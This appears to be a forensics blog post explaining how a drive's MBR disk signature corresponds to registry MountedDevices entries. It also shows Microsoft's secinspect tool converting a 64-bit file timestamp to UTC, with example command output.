The two pieces of text in bold are important for two different sets of people. The first - the disk signature is used to map a Physical drive to a logical drive letter. In the MBR it lives at offset 0x1b8 and is 4 bytes long, and it can also be found in the registry under the MountedDevices key. This is useful information for at least one major reason; Corroboration.
Here's a little scenario:
You seize a system and note that there is only one drive present in the system. You acquire an image of the disk and you note that the disk had two partitions (C: D:) and during analysis you look in HKLM\SYSTEM\MountedDevices. You see a DosDevice labeled \DosDevices\E:(assume that E: is actually on a different physical volume for this) but you know that you didn't find another disk in the system at the time. Looking at the first 4 bytes of the value for \DosDevices\E: you see the Disk Signature that looks like this:
0000 EF E0 EF E0
Now you know you're looking for a drive with a disk signature of EFE0EFE0. When you go back to the scene and search some more you find a disk buried in a drawer. After you image this disk, you run secinpsect -n and find that the disk signature matches the missing Volume and DosDevice Information in the registry. I know there are other tools that do this..but secinspect is free and we all like free.
The second bit of bolded text is useful for people wanting to restore corrupted or missing boot sectors.
Note that the tool also shows you the logical cluster number of where the MFT starts.
One other useful feature of the tool is you can convert 64Bit hex file times to UTC format. Take the Vista Backup Time I talked about previously and used Dcode to convert the timestamp.
That value 704ac9ebcc6dc701, was a 64 bit timestamp. Using secinspect I can convert the time via the commandline:
C:\Program Files\Windows Resource Kits\Tools\secinspect.exe -time 01c76dccebc94a70
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
UTC TIME 03/24/2007 04:28:49.0994
That's pretty sweet.
Subscribe to:
Posts (Atom)
